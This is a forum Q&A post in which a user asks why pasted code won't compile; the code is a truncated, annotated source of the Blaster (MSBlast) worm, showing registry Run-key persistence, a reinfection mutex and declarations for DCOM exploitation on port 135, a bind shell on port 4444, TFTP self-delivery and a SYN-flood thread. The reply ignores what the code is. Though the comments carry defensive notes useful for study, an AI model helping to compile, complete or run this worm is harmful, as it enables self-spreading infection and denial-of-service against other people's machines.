Question by Miles T: I can’t get this code to compile?
I am using microsoft visual C++ 2008, but I cant seem to get this to compile.Does it work for anyone else?
#include
#include /*IP_HDRINCL*/
#include /*InternetGetConnectedState*/
#include
#pragma comment (lib, “ws2_32.lib”)
#pragma comment (lib, “wininet.lib”)
#pragma comment (lib, “advapi32.lib”)
/*
* These strings aren’t used in the worm, I put them here
* so that whitehat researchers would discover them.
*/
const char msg1[]=”billy gates why do you make this possible ?”
” Stop making money and fix your software!!”;
const char* MSBLAST_EXE = “msblast.exe”;
/*
* MS-RPC/DCOM runs over port 135.
* DEFENSE: firewalling port 135 will prevent systems from
* being exploited and will hinder the spread of this worm.
*/
#define MSRCP_PORT_135 135
/*
* The TFTP protocol is defined to run on port 69. Once this
* worm breaks into a victim, it will command it to download
* the worm via TFTP. Therefore, the worms briefly runs a
* TFTP service to deliver that file.
* DEFENSE: firewalling 69/udp will prevent the worm from
* fully infected a host.
*/
#define TFTP_PORT_69 69
/*
* The shell-prompt is established over port 4444. The
* exploit code (in the variable ‘sc’) commands the victim
* to “bind a shell” on this port. The exploit then connects
* to that port to send commands, such as TFTPing the
* msblast.exe file down and launching it.
* DEFENSE: firewalling 4444/tcp will prevent the worm from
* spreading.
*/
#define SHELL_PORT_4444 4444
/*
* A simple string to hold the current IP address
*/
char target_ip_string[16];
/*
* A global variable to hold the socket for the TFTP service.
*/
int fd_tftp_service;
/*
* Global flag to indicate this thread is running. This
* is set when the thread starts, then is cleared when
* the thread is about to end.
* This demonstrates that Buford isn’t confident with
* multi-threaded programming — he should just check
* the thread handle.
*/
int is_tftp_running;
/*
* When delivering the worm file to the victim, it gets the
* name by querying itself using GetModuleFilename(). This
* makes it easier to change the filename or to launch the
* worm. */
char msblast_filename[256+4];
int ClassD, ClassC, ClassB, ClassA;
int local_class_a, local_class_b;
int winxp1_or_win2k2;
ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);
/***************************************************************
* This is where the ‘msblast.exe’ program starts running
***************************************************************/
void main(int argc, char *argv[])
{
WSADATA WSAData;
char myhostname[512];
char daystring[3];
char monthstring[3];
HKEY hKey;
LPDWORD ThreadId;
register unsigned long scan_local=0;
/*
* Create a registry key that will cause this worm
* to run every time the system restarts.
* DEFENSE: Slammer was “memory-resident” and could
* be cleaned by simply rebooting the machine.
* Cleaning this worm requires this registry entry
* to be deleted.
*/
RegCreateKeyEx(
/*hKey*/ HKEY_LOCAL_MACHINE,
/*lpSubKey*/ “SOFTWARE\Microsoft\Windows\”
“CurrentVersion\Run”,
/*Reserved*/ 0,
/*lpClass*/ NULL,
/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*samDesired */ KEY_ALL_ACCESS,
/*lpSecurityAttributes*/ NULL,
/*phkResult */ &hKey,
/*lpdwDisposition */ 0);
RegSetValueExA(
hKey,
“windows auto update”,
0,
REG_SZ,
(const BYTE*)MSBLAST_EXE,
50);
RegCloseKey(hKey);
/*
* Make sure this isn’t a second infection. A common problem
* with worms is that they sometimes re-infect the same
* victim repeatedly, eventually crashing it. A crashed
* system cannot spread the worm. Therefore, worm writers
* now make sure to prevent reinfections. The way Blaster
* does this is by creating a system “global” object called
* “BILLY”. If another program in the computer has already
* created “BILLY”, then this instance won’t run.
* DEFENSE: this implies that you can remove Blaster by
* creating a mutex named “BILLY”. When the computer
* restarts, Blaster will falsely believe that it has
* already infected the system and will quit.
*/
CreateMutexA(NULL, TRUE, “BILLY”);
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
/*
* Windows systems requires “WinSock” (the network API layer)
* to be initialized. Note that the SYNflood attack requires
* raw sockets to be initialized, which only works in
* version 2.2 of WinSock.
* BUFORD: The following initialization is needl
Best answer:
Answer by BlueBoden
I’m not going to go through all that, but did you make sure to get the required files?
A lot of source code you find dosn’t just combile “out of the box”, you need to get the required files.
Add your own answer in the comments!